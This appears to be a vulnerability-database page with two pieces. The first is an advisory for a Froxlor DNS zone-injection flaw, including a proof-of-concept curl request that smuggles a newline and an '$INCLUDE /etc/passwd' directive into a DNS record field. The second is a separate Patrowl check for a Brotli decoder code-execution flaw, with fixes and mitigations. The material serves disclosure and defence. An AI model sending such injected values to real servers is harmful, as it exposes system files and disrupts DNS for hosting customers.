CVE-2026-30932

EUVD-2026-14964 · Published Mar 24, 2026

Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API

Summary

The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.

Affected Code

lib/Froxlor/Api/Commands/DomainZones.php, lines 213-214, 253-254, 290-291, 292-293:

} elseif ($type == 'LOC' && !empty($content)) {
    $content = $content; // no validation
} ...
} elseif ($type == 'RP' && !empty($content)) {
    $content = $content; // no validation
} ...
} elseif ($type == 'SSHFP' && !empty($content)) {
    $content = $content; // no validation
} elseif ($type == 'TLSA' && !empty($content)) {
    $content = $content; // no validation
}

There is even a TODO comment at line 148 acknowledging this gap:

// TODO regex validate content for invalid characters

The content is then written directly into the BIND zone file via DnsEntry::__toString() (line 83 of lib/Froxlor/Dns/DnsEntry.php):

return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $_content . PHP_EOL;

And the zone file is written to disk in lib/Froxlor/Cron/Dns/Bind.php line 121:

fwrite($zonefile_handler, $zoneContent . $subzones);

PoC

As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \
  https://panel.example.com/api.php

Alternatively via the web UI, intercept the DNS editor form POST and set dns_content to 0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd and dns_type to LOC.

After the DNS rebuild cron runs, the resulting zone file at {bindconf_directory}/domains/example.com.zone will contain:

@	18000	IN	LOC	0 0 0 N 0 0 0 E 0
$INCLUDE /etc/passwd

BIND will process the $INCLUDE directive and attempt to parse /etc/passwd as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as bind/named user), confirming file existence and potentially leaking parseable lines as DNS records.

Impact

Information Disclosure: The $INCLUDE directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the DomainZones.get API call or the DNS editor in the web UI.
DNS Service Disruption: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting $GENERATE directives could create massive record sets for amplification attacks.
Zone Data Manipulation: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.

Technologies

Froxlor Froxlor

Weaknesses

CWE-74

CVSS scores

v3.18.8CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access Execution Stealth Defense Impairment

T1190Exploit Public-Facing Application T1027Obfuscated Files or Information T1574.006Dynamic Linker Hijacking T1574.007Path Interception by PATH Environment Variable T1690Prevent Command History Logging

References

Potentially impacted assets

See if this affects your attack surface

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Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.